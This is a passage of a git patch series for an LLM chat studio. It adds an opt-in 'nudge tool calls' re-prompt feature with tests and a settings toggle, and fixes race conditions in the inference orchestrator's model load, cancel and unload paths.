+        # One initial turn plus exactly MAX_ACT_REPROMPTS re-prompted turns.
+        assert generations["count"] == MAX_ACT_REPROMPTS + 1
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any(stall in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_long_prose_answer_is_not_reprompted(self):
+        long_answer = "I'll keep explaining the details of the topic. " * 60
+        loop, exec_fn = _make_loop(
+            turns = [
+                [long_answer],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_disabled_auto_heal_is_not_reprompted(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            auto_heal_tool_calls = False,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_explicit_nudge_off_is_not_reprompted(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = False,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_omitted_nudge_flag_is_not_reprompted(self):
+        # The retry is new on this loop: API callers who do not send the flag
+        # must keep today's behavior. Studio opts in explicitly.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_rag_autoinject_counts_as_executed_tool(self, monkeypatch):
+        # Autoinject already ran a KB search outside the controller; a short
+        # post-retrieval intent must not trigger a spurious re-prompt.
+        import core.inference.tools as tools_mod
+
+        def fake_autoinject(conversation, rag_scope):
+            return {
+                "events": [
+                    {"type": "tool_start", "tool_name": "search_knowledge_base"},
+                    {"type": "tool_end", "tool_name": "search_knowledge_base"},
+                ],
+                "messages": [{"role": "tool", "content": "kb result"}],
+            }
+
+        monkeypatch.setattr(tools_mod, "build_rag_autoinject", fake_autoinject)
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the docs."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        assert any(e.get("type") == "tool_start" for e in events)
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the docs." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_no_reprompt_after_a_denied_tool_confirmation(self, monkeypatch):
+        # An explicit user denial must not be answered with a nudge to call
+        # the tool again (which would raise another confirmation prompt).
+        monkeypatch.setattr(safetensors_agentic, "new_approval_id", lambda: "appr-1")
+        monkeypatch.setattr(safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object())
+        monkeypatch.setattr(safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "deny")
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["I'll search again."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            confirm_tool_calls = True,
+            session_id = "sess",
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search again." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_no_reprompt_after_a_tool_already_executed(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Now I'll refine the search."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            exec_results = ["result-1"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search"]
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+
 # Routes-level python_tag strip (multi-line; stop on next sentinel)
 class TestRoutesPythonTagStrip:
     """``_TOOL_XML_RE`` must consume multi-line code, embedded JSON, and bare ``<`` (earlier ``[^\n<]*`` / ``[^\n]*`` revisions leaked tails); the streaming route-level strip is the regression-prone path."""
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 929c0385b0..df266fd749 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -2739,6 +2739,7 @@ export function createOpenAIStreamAdapter(
                     : {}),
                   auto_heal_tool_calls:
                     useChatRuntimeStore.getState().autoHealToolCalls,
+                  nudge_tool_calls: useChatRuntimeStore.getState().nudgeToolCalls,
                   max_tool_calls_per_message:
                     useChatRuntimeStore.getState().maxToolCallsPerMessage,
                   tool_call_timeout: (() => {
diff --git a/studio/frontend/src/features/chat/api/chat-settings-api.ts b/studio/frontend/src/features/chat/api/chat-settings-api.ts
index 1ac569efc7..1e00357ea4 100644
--- a/studio/frontend/src/features/chat/api/chat-settings-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-settings-api.ts
@@ -26,6 +26,7 @@ export interface PersistedChatSettings {
   collapseHtmlArtifacts?: boolean;
   allowArtifactNetworkAccess?: boolean;
   autoHealToolCalls?: boolean;
+  nudgeToolCalls?: boolean;
   maxToolCallsPerMessage?: number;
   toolCallTimeout?: number;
 }
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index 74578b9438..ea6c409b40 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -1732,6 +1732,7 @@ export function ChatSettingsPanel({
           <CollapsibleSection label="Tools">
             <div className="flex flex-col gap-5 pt-1">
               <AutoHealToolCallsToggle />
+              <NudgeToolCallsToggle />
               <ConfirmToolCallsToggle />
               <BypassPermissionsToggle />
               <MaxToolCallsSlider />
@@ -2006,6 +2007,30 @@ function AutoHealToolCallsToggle() {
   );
 }
 
+function NudgeToolCallsToggle() {
+  const nudgeToolCalls = useChatRuntimeStore((s) => s.nudgeToolCalls);
+  const setNudgeToolCalls = useChatRuntimeStore((s) => s.setNudgeToolCalls);
+
+  return (
+    <div className="flex items-center justify-between gap-3">
+      <div className="flex min-w-0 items-center gap-1.5">
+        <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+          Nudge Tool Calls
+        </span>
+        <InfoHint>
+          When a tool call cannot be repaired, re-ask the model once so the
+          intended tool still runs. API requests stay opt-in.
+        </InfoHint>
+      </div>
+      <Switch
+        className="panel-switch"
+        checked={nudgeToolCalls}
+        onCheckedChange={setNudgeToolCalls}
+      />
+    </div>
+  );
+}
+
 function ConfirmToolCallsToggle() {
   const confirmToolCalls = useChatRuntimeStore((s) => s.confirmToolCalls);
   const setConfirmToolCalls = useChatRuntimeStore((s) => s.setConfirmToolCalls);
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index 7c9685d6d0..ad50c4ece8 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -646,6 +646,7 @@ type ChatRuntimeStore = {
   toolStatus: string | null;
   generatingStatus: string | null;
   autoHealToolCalls: boolean;
+  nudgeToolCalls: boolean;
   maxToolCallsPerMessage: number;
   toolCallTimeout: number;
   kvCacheDtype: string | null;
@@ -780,6 +781,7 @@ type ChatRuntimeStore = {
   setGeneratingStatus: (status: string | null) => void;
   setActiveDiffusionCanvas: (canvas: DiffusionCanvasFrame | null) => void;
   setAutoHealToolCalls: (enabled: boolean) => void;
+  setNudgeToolCalls: (enabled: boolean) => void;
   setMaxToolCallsPerMessage: (value: number) => void;
   setToolCallTimeout: (value: number) => void;
   setKvCacheDtype: (dtype: string | null) => void;
@@ -832,6 +834,7 @@ type ScalarSettingKey =
   | "collapseHtmlArtifacts"
   | "allowArtifactNetworkAccess"
   | "autoHealToolCalls"
+  | "nudgeToolCalls"
   | "maxToolCallsPerMessage"
   | "toolCallTimeout";
 
@@ -869,6 +872,7 @@ const SCALAR_SETTING_KEYS = [
   "collapseHtmlArtifacts",
   "allowArtifactNetworkAccess",
   "autoHealToolCalls",
+  "nudgeToolCalls",
   "maxToolCallsPerMessage",
   "toolCallTimeout",
 ] as const satisfies readonly ScalarSettingKey[];
@@ -1103,6 +1107,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   generatingStatus: null,
   activeDiffusionCanvas: null,
   autoHealToolCalls: true,
+  nudgeToolCalls: true,
   maxToolCallsPerMessage: 25,
   toolCallTimeout: 5,
   kvCacheDtype: null,
@@ -1544,6 +1549,15 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       );
       return { autoHealToolCalls };
     }),
+  setNudgeToolCalls: (nudgeToolCalls) =>
+    set((state) => {
+      setScalarSettingVersion(
+        "nudgeToolCalls",
+        nudgeToolCalls,
+        state.nudgeToolCalls,
+      );
+      return { nudgeToolCalls };
+    }),
   setMaxToolCallsPerMessage: (maxToolCallsPerMessage) =>
     set((state) => {
       setScalarSettingVersion(
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index 94a7e1c56b..954e88e86b 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -357,6 +357,7 @@ export interface OpenAIChatCompletionsRequest {
     context_length?: number;
   };
   auto_heal_tool_calls?: boolean;
+  nudge_tool_calls?: boolean;
   max_tool_calls_per_message?: number;
   tool_call_timeout?: number;
   session_id?: string;
diff --git a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
index 4e457920d1..4899cb9c83 100644
--- a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
+++ b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
@@ -21,6 +21,7 @@ import type { ReasoningEffort } from "../stores/chat-runtime-store";
 
 const AUTO_TITLE_KEY = "unsloth_chat_auto_title";
 const AUTO_HEAL_TOOL_CALLS_KEY = "unsloth_auto_heal_tool_calls";
+const NUDGE_TOOL_CALLS_KEY = "unsloth_nudge_tool_calls";
 const MAX_TOOL_CALLS_KEY = "unsloth_max_tool_calls_per_message";
 const TOOL_CALL_TIMEOUT_KEY = "unsloth_tool_call_timeout";
 const INFERENCE_PARAMS_KEY = "unsloth_chat_inference_params";
@@ -223,6 +224,7 @@ function sanitizeChatSettings(value: unknown): PersistedChatSettings {
     value.allowArtifactNetworkAccess,
   );
   const autoHealToolCalls = sanitizeBool(value.autoHealToolCalls);
+  const nudgeToolCalls = sanitizeBool(value.nudgeToolCalls);
   const maxToolCallsPerMessage = sanitizeInt(value.maxToolCallsPerMessage, 1);
   const toolCallTimeout = sanitizeInt(value.toolCallTimeout, 1);
 
@@ -245,6 +247,9 @@ function sanitizeChatSettings(value: unknown): PersistedChatSettings {
   if (autoHealToolCalls !== undefined) {
     settings.autoHealToolCalls = autoHealToolCalls;
   }
+  if (nudgeToolCalls !== undefined) {
+    settings.nudgeToolCalls = nudgeToolCalls;
+  }
   if (maxToolCallsPerMessage !== undefined) {
     settings.maxToolCallsPerMessage = maxToolCallsPerMessage;
   }
@@ -305,6 +310,7 @@ export function isEmptyChatSettings(settings: PersistedChatSettings): boolean {
     settings.collapseHtmlArtifacts === undefined &&
     settings.allowArtifactNetworkAccess === undefined &&
     settings.autoHealToolCalls === undefined &&
+    settings.nudgeToolCalls === undefined &&
     settings.maxToolCallsPerMessage === undefined &&
     settings.toolCallTimeout === undefined
   );
@@ -335,6 +341,7 @@ export function loadLegacyChatSettings(): PersistedChatSettings {
   const collapseHtmlArtifacts = loadBool(COLLAPSE_HTML_ARTIFACTS_KEY);
   const allowArtifactNetworkAccess = loadBool(ALLOW_ARTIFACT_NETWORK_ACCESS_KEY);
   const autoHealToolCalls = loadBool(AUTO_HEAL_TOOL_CALLS_KEY);
+  const nudgeToolCalls = loadBool(NUDGE_TOOL_CALLS_KEY);
   const maxToolCallsPerMessage = loadInt(MAX_TOOL_CALLS_KEY, 1);
   const toolCallTimeout = loadInt(TOOL_CALL_TIMEOUT_KEY, 1);
   const allCustomPresets = sanitizeCustomPresets([
@@ -361,6 +368,9 @@ export function loadLegacyChatSettings(): PersistedChatSettings {
   if (autoHealToolCalls !== undefined) {
     settings.autoHealToolCalls = autoHealToolCalls;
   }
+  if (nudgeToolCalls !== undefined) {
+    settings.nudgeToolCalls = nudgeToolCalls;
+  }
   if (maxToolCallsPerMessage !== undefined) {
     settings.maxToolCallsPerMessage = maxToolCallsPerMessage;
   }
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index df684b7752..7670aae5fa 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -78,6 +78,7 @@ const PREFS_KEYS: string[] = [
   "unsloth_chat_auto_title",
   "unsloth_hf_token",
   "unsloth_auto_heal_tool_calls",
+  "unsloth_nudge_tool_calls",
   "unsloth_max_tool_calls_per_message",
   "unsloth_tool_call_timeout",
   "unsloth_chat_inference_params",

From 8ba46b566a2740de4fba3cdf85ef503b005e8034 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 19:43:15 -0700
Subject: [PATCH 222/306] Studio: close switch/cancel races during model load
 (#6918)

Fix six race conditions when a user switches or cancels a model while a
previous load or generation is still in flight, across the inference
orchestrator and the /load and /unload routes:

- Cancel an in-flight generation on a safetensors/MLX model switch and
  serialize unload with load under the inference lifecycle gate.
- Cancel an in-flight load off the lifecycle gate so a Stop-loading
  cancel does not wait out the multi-minute load; guard the dispatched
  mailbox against a racing unload.
- Recheck the loading marker after spawn and again after the load
  response before publishing, so a load cancelled mid-flight is reaped
  instead of going live.
- Discard the loading marker before tearing the subprocess down in
  cancel_load, closing a spawn-after-cancel window and an orphaned
  compare-mode dispatcher during unload.
- Match the unload target before canceling an in-flight GGUF load and
  add an off-gate fast path for the still-loading GGUF case.
- Run the Unsloth unload off the event loop so a paused SSE stream
  holding _gen_lock cannot block the loop.

Adds studio/backend/tests/test_orchestrator_unload_cancel.py covering
the unload/cancel/switch race paths.
---
 studio/backend/core/inference/orchestrator.py |  404 ++++-
 studio/backend/core/inference/worker.py       |   57 +-
 studio/backend/routes/inference.py            |   89 +-
 .../tests/test_orchestrator_unload_cancel.py  | 1430 +++++++++++++++++
 4 files changed, 1885 insertions(+), 95 deletions(-)
 create mode 100644 studio/backend/tests/test_orchestrator_unload_cancel.py

diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index 675bd9f3ea..e0e6cef6c9 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -45,6 +45,10 @@ _DISPATCH_STOP_TIMEOUT = 5.0
 _DISPATCH_IDLE_TIMEOUT = 30.0
 _DISPATCH_DRAIN_TIMEOUT = 5.0
 
+# Max wait for a cancelled generation to release _gen_lock before unload_model
+# tears the subprocess down. Only bounds a wedged worker.
+_UNLOAD_GEN_LOCK_TIMEOUT = 15.0
+
 
 class InferenceOrchestrator:
     """
@@ -60,7 +64,13 @@ class InferenceOrchestrator:
         self._cmd_queue: Any = None
         self._resp_queue: Any = None
         self._cancel_event: Any = None  # mp.Event — set to cancel generation
+        # Set for the whole unload; the worker never clears it (unlike _cancel_event),
+        # so a generate queued behind the cancelled one is skipped, not run.
+        self._drain_event: Any = None
         self._gen_lock = threading.Lock()  # Serializes generation
+        # Set during a switch so a generation winning the _gen_lock handoff bails
+        # instead of starting on the outgoing model.
+        self._unload_pending = False
 
         # Dispatcher state for compare mode (adapter-controlled requests):
         # bypass _gen_lock, send commands directly, read from per-request
@@ -159,6 +169,7 @@ class InferenceOrchestrator:
             self._cmd_queue = _CTX.Queue()
             self._resp_queue = _CTX.Queue()
             self._cancel_event = _CTX.Event()
+            self._drain_event = _CTX.Event()
 
             self._proc = _CTX.Process(
                 target = run_without_native_path_secret,
@@ -167,6 +178,7 @@ class InferenceOrchestrator:
                     "cmd_queue": self._cmd_queue,
                     "resp_queue": self._resp_queue,
                     "cancel_event": self._cancel_event,
+                    "drain_event": self._drain_event,
                     "config": config,
                 },
                 daemon = True,
@@ -228,6 +240,7 @@ class InferenceOrchestrator:
         self._cmd_queue = None
         self._resp_queue = None
         self._cancel_event = None
+        self._drain_event = None
         logger.info("Inference subprocess shut down")
 
     def _cleanup(self):
@@ -456,7 +469,15 @@ class InferenceOrchestrator:
         cancel ack from that same source so stale events don't leak into the
         next request.
         """
+        # Latch this stream's subprocess/queue: if a wedged worker is torn down and a
+        # later load spawns a fresh one, bail rather than re-block on the new queue
+        # under _gen_lock (deadlock).
+        initial_proc = self._proc
+        initial_resp_queue = self._resp_queue
         while True:
+            if self._proc is not initial_proc or self._resp_queue is not initial_resp_queue:
+                yield f"Error: {self._subprocess_crash_message(crash_context)}"
+                return
             resp = read_one(read_timeout)
             if resp is None:
                 # Check subprocess health
@@ -595,8 +616,24 @@ class InferenceOrchestrator:
         if not self.active_model_name:
             yield "Error: No active model"
             return
+        # Latch the target model so the recheck below can detect a switch that completed
+        # between _start_dispatcher and mailbox registration (mirrors the locked path's
+        # expected_model check).
+        expected_model = self.active_model_name
 
-        # Ensure dispatcher is running
+        # Switch in flight (unload waiting on _gen_lock). This path bypasses the lock,
+        # so without this early-out a compare request would enqueue a generate on the
+        # outgoing model and delay the switch.
+        if self._unload_pending:
+            yield "Error: model is being unloaded"
+            return
+
+        # Ensure the dispatcher runs. Track whether it was already running: if this call
+        # starts it and then bails on a racing unload, it must stop it again (see the
+        # unloading bail below).
+        dispatcher_preexisting = (
+            self._dispatcher_thread is not None and self._dispatcher_thread.is_alive()
+        )
         self._start_dispatcher()
 
         request_id = str(uuid.uuid4())
@@ -624,10 +661,42 @@ class InferenceOrchestrator:
             preserve_thinking = preserve_thinking,
         )
 
-        # Create mailbox BEFORE sending command
+        # Create the mailbox BEFORE sending, rechecking _unload_pending under
+        # _mailbox_lock: an unload sets _unload_pending before _wait_dispatcher_idle
+        # reads _mailboxes under the same lock, so either the idle check sees this
+        # mailbox (and tears the dispatcher down) or we see the unload and bail.
+        # Registering after would orphan the mailbox and hang the compare stream forever.
         mailbox: queue.Queue = queue.Queue()
         with self._mailbox_lock:
-            self._mailboxes[request_id] = mailbox
+            # _unload_pending alone is not enough: an unload that ran fully since
+            # _start_dispatcher clears it in its finally and stops the dispatcher, so it
+            # reads False here though the dispatcher is gone and the model swapped. Also
+            # bail when the active model changed or the dispatcher died: a mailbox with no
+            # dispatcher to route gen_done/gen_error hangs the compare stream.
+            dispatcher_alive = (
+                self._dispatcher_thread is not None and self._dispatcher_thread.is_alive()
+            )
+            unloading = (
+                self._unload_pending
+                or self.active_model_name != expected_model
+                or not dispatcher_alive
+            )
+            if not unloading:
+                self._mailboxes[request_id] = mailbox
+            # When bailing without a mailbox, note whether any OTHER compare request still
+            # routes through the dispatcher; if none and this call started it, stop it below.
+            orphaned_dispatcher = unloading and not dispatcher_preexisting and not self._mailboxes
+        if unloading:
+            # A racing unload can pass its _wait_dispatcher_idle() while the dispatcher was
+            # stopped, then set _unload_pending. The one we just started would otherwise
+            # linger with no mailboxes, race unload_model's _wait_response for the "unloaded"
+            # reply off resp_queue, and drop it as unroutable -- hanging the unload 300s. Stop
+            # it here so the unload stays the sole resp_queue reader. Outside _mailbox_lock:
+            # _stop_dispatcher joins the dispatcher, which itself takes that lock.
+            if orphaned_dispatcher:
+                self._stop_dispatcher()
+            yield "Error: model is being unloaded"
+            return
 
         try:
             self._send_cmd(cmd)
@@ -676,14 +745,18 @@ class InferenceOrchestrator:
                 return
         logger.warning("Timed out draining mailbox after cancel")
 
-    def _wait_dispatcher_idle(self) -> None:
+    def _wait_dispatcher_idle(self) -> bool:
         """Wait for all dispatched requests to complete, then stop dispatcher.
 
-        Called by _generate_inner before the _gen_lock path so the dispatcher
-        thread isn't competing for resp_queue reads.
+        Returns True if the dispatcher was stopped (all mailboxes drained, or no
+        dispatcher was running), and False if it was left running because compare
+        requests were still active after _DISPATCH_IDLE_TIMEOUT.
+
+        Called before the _gen_lock path so the dispatcher thread isn't competing
+        for resp_queue reads.
         """
         if self._dispatcher_thread is None or not self._dispatcher_thread.is_alive():
-            return
+            return True
 
         # Wait for all mailboxes to be emptied (dispatched requests complete)
         deadline = time.monotonic() + _DISPATCH_IDLE_TIMEOUT
@@ -704,8 +777,9 @@ class InferenceOrchestrator:
                 "leaving dispatcher running for compare requests",
                 len(self._mailboxes),
             )
-        else:
-            self._stop_dispatcher()
+            return False
+        self._stop_dispatcher()
+        return True
 
     # ------------------------------------------------------------------
     # Public API — same interface as InferenceBackend
@@ -772,6 +846,19 @@ class InferenceOrchestrator:
             )
 
             for attempt in range(2):
+                # Stop-loading (/unload -> cancel_load) aborts a load by discarding this
+                # model's loading marker. cancel_load only kills a live child; if the cancel
+                # lands before any child exists (GPU placement, or between retries) there is
+                # nothing to kill, and without this check the loop would spawn a worker and
+                # load the model after /unload reported it unloaded. Observe removal and stop.
+                if model_name not in self.loading_models:
+                    logger.info(
+                        "Load for '%s' was cancelled before spawn; not starting a worker",
+                        model_name,
+                    )
+                    self.active_model_name = None
+                    self.models.clear()
+                    return False
                 logger.info(
                     "Spawning fresh inference subprocess for '%s' "
                     "(transformers %s.x, attempt %d/2%s)",
@@ -783,6 +870,22 @@ class InferenceOrchestrator:
                 sub_config["disable_xet"] = disable_xet
                 self._spawn_subprocess(sub_config)
 
+                # A cancel can land after the pre-spawn recheck but while _spawn_subprocess
+                # is still creating the queues/process. cancel_load runs off the lifecycle
+                # gate, so its _shutdown_subprocess can see _proc still None and no-op,
+                # orphaning this fresh worker; the load would then wait for "loaded" and
+                # publish a model /unload reported unloaded, over a live subprocess nothing
+                # reaps. Recheck now the child exists and tear it down before publishing.
+                if model_name not in self.loading_models:
+                    logger.info(
+                        "Load for '%s' was cancelled during spawn; tearing the worker down",
+                        model_name,
+                    )
+                    self._shutdown_subprocess(timeout = 5)
+                    self.active_model_name = None
+                    self.models.clear()
+                    return False
+
                 try:
                     resp = self._wait_response("loaded")
                 except DownloadStallError:
@@ -803,8 +906,31 @@ class InferenceOrchestrator:
                     )
 
                 if resp.get("success"):
+                    # A cancel can land while we were parked in _wait_response above.
+                    # cancel_load (off the lifecycle gate) discards this model's loading
+                    # marker BEFORE its teardown, so a Stop-loading that fired after the
+                    # worker queued "loaded" (which we can still consume during cancel_load's
+                    # shutdown window) shows up here only as the marker's removal. Without
+                    # this recheck we would publish active_model_name/models for a model
+                    # /unload reported cancelled, over a subprocess cancel_load just killed;
+                    # its post-teardown re-clear cannot undo a publish that lands after it
+                    # returns. Observe the removal and abort; cancel_load owns teardown.
+                    if model_name not in self.loading_models:
+                        logger.info(
+                            "Load for '%s' was cancelled while waiting for 'loaded'; "
+                            "not publishing the cancelled model",
+                            model_name,
+                        )
+                        self.active_model_name = None
+                        self.models.clear()
+                        return False
                     model_info = resp.get("model_info", {})
                     self.active_model_name = model_info.get("identifier", model_name)
+                    # A load always spawns a fresh subprocess holding only this model, so
+                    # mirror that. A lingering stale name would pass unload_model's "not in
+                    # self.models" guard, and the worker's absent-name fallback would unload
+                    # its *active* model, not the already-gone one.
+                    self.models = {}
                     self.models[self.active_model_name] = {
                         "is_vision": model_info.get("is_vision", False),
                         "is_lora": model_info.get("is_lora", False),
@@ -837,17 +963,65 @@ class InferenceOrchestrator:
             self.models.clear()
             raise
 
-    def unload_model(self, model_name: str) -> bool:
-        """Unload a model from the subprocess."""
-        if model_name in self.loading_models:
-            logger.info(
-                "Cancelling in-flight load for model '%s' by terminating subprocess",
+    def cancel_load(self, model_name: str) -> bool:
+        """Abort an in-flight load by terminating its subprocess.
+
+        Returns True if a load for ``model_name`` (matched case-insensitively) was
+        cancelled, False if nothing was loading under that name. This only tears the
+        loading subprocess down -- it sends no command to a worker -- so, unlike the
+        rest of ``unload_model``, it is safe to run WITHOUT the inference lifecycle
+        gate. ``/unload`` calls it off-gate so the "stop loading" button can interrupt
+        a safetensors load that holds the gate for its whole (multi-minute) duration;
+        a gated cancel could never preempt that load.
+        """
+        target = model_name
+        if target not in self.loading_models:
+            target = next(
+                (m for m in self.loading_models if m.lower() == model_name.lower()),
                 model_name,
             )
-            self._shutdown_subprocess(timeout = 0.5)
-            self.loading_models.discard(model_name)
-            self.active_model_name = None
-            self.models.clear()
+        if target not in self.loading_models:
+            return False
+        logger.info(
+            "Cancelling in-flight load for model '%s' by terminating subprocess",
+            target,
+        )
+        # Discard the loading marker (and clear local state) BEFORE the teardown, not
+        # after. cancel_load runs off the lifecycle gate, alongside a load_model that
+        # rechecks this marker before each spawn. But _shutdown_subprocess can block (~1s
+        # tearing a live child down and joining the dispatcher), so clearing only after
+        # leaves a window where load_model reads the marker still set, passes its pre-spawn
+        # recheck, and loads the model after /unload reported it cancelled. Clear first.
+        self.loading_models.discard(target)
+        self.active_model_name = None
+        self.models.clear()
+        self._shutdown_subprocess(timeout = 0.5)
+        # Clear the local mirrors again AFTER the teardown. A racing off-gate load_model
+        # may still be parked in _wait_response("loaded"): its worker already queued a
+        # "loaded" reply, so during the shutdown window above (the 0.5s settle before the
+        # response queue is drained and nulled) that thread can consume it and repopulate
+        # active_model_name/models, undoing the pre-teardown clear. _shutdown_subprocess
+        # nulls the queue but not the mirrors, so without this second clear /unload reports
+        # success while the backend still advertises a killed model. The nulled queue lets
+        # no further "loaded" through, so re-clearing here wipes any repopulation.
+        self.active_model_name = None
+        self.models.clear()
+        return True
+
+    def unload_model(self, model_name: str) -> bool:
+        """Unload a model from the subprocess."""
+        # active_model_name can differ in case from the client's raw /unload name (the
+        # load path canonicalizes casing). Match case-insensitively and use the canonical
+        # spelling so the guard, unload command, and cleanup below hit the loaded model.
+        if (
+            self.active_model_name is not None
+            and model_name != self.active_model_name
+            and model_name.lower() == self.active_model_name.lower()
+        ):
+            model_name = self.active_model_name
+        # In-flight load: tear its subprocess down (shared loading-cancel logic; no
+        # worker command sent).
+        if self.cancel_load(model_name):
             return True
 
         if not self._ensure_subprocess_alive():
@@ -857,30 +1031,85 @@ class InferenceOrchestrator:
                 self.active_model_name = None
             return True
 
-        try:
-            self._send_cmd(
-                {
-                    "type": "unload",
-                    "model_name": model_name,
-                }
-            )
-            resp = self._wait_response("unloaded")
-
-            # Update local state
+        # Nothing loaded under this name: don't unload a stale model. The worker falls
+        # back to unloading its *active* model when the name is absent, so a stale unload
+        # (lost a race to a concurrent load) would hit the wrong one.
+        if model_name != self.active_model_name and model_name not in self.models:
             self.models.pop(model_name, None)
-            if self.active_model_name == model_name:
-                self.active_model_name = None
-
-            logger.info("Model '%s' unloaded from subprocess", model_name)
             return True
 
-        except Exception as exc:
-            logger.error("Error unloading model '%s': %s", model_name, exc)
-            # Clear local state anyway
-            self.models.pop(model_name, None)
-            if self.active_model_name == model_name:
-                self.active_model_name = None
-            return False
+        # The subprocess runs commands sequentially, so a bare unload queues behind a
+        # running generate (a 2-3 min hang). Cancel first (via the mp.Event the worker
+        # polls each token), then take _gen_lock as sole resp_queue reader (like GGUF).
+        self._unload_pending = True
+        # Cancelling only the running generation isn't enough: the worker clears
+        # cancel_event at each generate start, so a queued one would clear it and run the
+        # outgoing model to completion. drain_event, never cleared, makes any generate
+        # dequeued during the unload skip.
+        if self._drain_event is not None:
+            self._drain_event.set()
+        try:
+            self._cancel_generation()
+            acquired = self._gen_lock.acquire(timeout = _UNLOAD_GEN_LOCK_TIMEOUT)
+            if not acquired:
+                # Wedged worker: tear the subprocess down to free the GPU (next load respawns).
+                logger.warning(
+                    "Unload: generation did not yield %.1fs after cancel; "
+                    "shutting the inference subprocess down to free the model",
+                    _UNLOAD_GEN_LOCK_TIMEOUT,
+                )
+                self._shutdown_subprocess(timeout = 5)
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+                return True
+
+            try:
+                # Stop the compare-mode dispatcher so it can't consume the "unloaded" reply
+                # off resp_queue before we do. A dispatched generation bypasses _gen_lock, so
+                # a wedged one slips past the acquire above; if the dispatcher is still active
+                # it owns resp_queue and the queued unload hangs _wait_response behind the
+                # stuck generate. Mirror the wedged locked path: tear the subprocess down.
+                if not self._wait_dispatcher_idle():
+                    logger.warning(
+                        "Unload: compare-mode dispatcher still active after idle "
+                        "wait; shutting the inference subprocess down to free the model"
+                    )
+                    self._shutdown_subprocess(timeout = 5)
+                    self.models.pop(model_name, None)
+                    if self.active_model_name == model_name:
+                        self.active_model_name = None
+                    return True
+                # Drop stale tokens so they can't be read as the unload reply.
+                self._drain_queue()
+                self._send_cmd(
